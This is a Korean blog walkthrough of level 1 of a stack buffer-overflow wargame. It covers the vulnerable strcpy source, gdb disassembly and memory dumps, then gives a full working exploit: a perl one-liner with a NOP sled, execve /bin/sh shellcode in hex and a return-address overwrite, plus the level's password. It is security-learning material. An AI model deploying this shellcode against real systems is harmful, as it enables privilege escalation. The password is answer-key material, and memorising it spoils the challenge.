티스토리 뷰
해커스쿨에서 제공하는 BOF 원정대 1단계입니다.
우선 gate / gate로 로그인 하면 gremlin.c 파일과 gremlin 실행 파일이 있습니다.
BOF 원정대 서버에서 기본적으로 뜨는 쉘은 bash 쉘입니다.
근데 이 놈의 bash 쉘 버전이 너무 낮아 문제가 발생하므로
bash2 명령어를 입력하고 bash2 쉘 상태에서 진행해야합니다.
(bash1 에서 메모리상 0xff 값을 0x00 으로 처리해버림)
우선 gremlin.c를 까보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
버퍼의 크기가 256 byte 이고 strcpy를 통해 argv[1]을 입력 받습니다.
환경변수를 사용해도 괜찮을 것 같고, nop sled를 사용해도 괜찮겠지만
버퍼의 크기가 넉넉하니 쉘 코드를 버퍼에 직접 박는 nop sled 를 사용해 보겠습니다.
ret 주소를 구하기 위해 gremlin 파일을 gdb로 까보겠습니다.
gdb 에서 set dissembly-flavor intel 명령어를 사용하여 좀 더 보기쉽게 만들었습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,DWORD PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave 0x8048483 <main+83>: ret |
buffer 변수의 위치가 ebp-256 인 것을 확인 할 수 있습니다.
공격자는 260 byte 만큼을 사용할 수 있습니다.
지금 사용하는 쉘코드의 크기가 61 byte니 199 byte를 nop로 채우면 됩니다.
나중에 perl 구문으로 찍을 주소번지를 찾기 위해 소스코드를 복사하여 사본을 컴파일 했습니다.
사본 파일을 다시 gdb로 불러와서 buffer에 값이 입력되는 바로 뒤 main+62에 break를 찍고
다음과 같은 perl 구문을 짜서 run 돌린 다음 x/x 명령어로 메모리를 확인합니다.
(gdb) break *main+62
(gdb) r `perl -e 'print "\x90"x199, "쉘코드61byte"';`
(gdb) x/100x $esp
1 2 3 4 5 6 7 8 9 10 11 12 13 | 0xbffff8f8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff908: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff918: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff928: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff938: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff948: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff958: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff968: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff978: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff988: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff998: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9a8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9b8: 0x90909090 0x31909090 0xcd31b0c0 0x89c38980 |
저 넘처나는 0x90 들 중 괜찮다고 생각하는 것을 하나 찍습니다. (전 0xbffff918)
그리고 미완성된 perl 구문을 완성 시킵니다.
ret 주소값을 직접 박을 때는 뒤에서 부터 두 자리씩 끊어서 넣어줍니다. (bf ff f9 18 역순)
./gremlin `perl -e 'print "\x90"x199, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68", "\x18\xf9\xff\xbf"';`
실제로 홈 디렉토리에서 실행시켜 보겠습니다.
nop sled 기법이라 한 40번을 찍어야 쉘이 따질줄 알았는데 의외로 한방에 따졌습니다;
whoami 명령어를 입력해보면 gremlin 이라고 뜨는 걸보니 권한 상승이 되었습니다.
그리고 BOF 원정대 전용 명령어 my-pass 를 입력하니 비밀번호가 hello bof world 네요
'개인공부 > 버퍼 오버플로우' 카테고리의 다른 글
BOF 원정대 3단계 cobolt -> goblin (LEVEL 3) (0) | 2014.02.02 |
---|---|
BOF 원정대 2단계 gremlin -> cobolt (LEVEL 2) (0) | 2014.02.01 |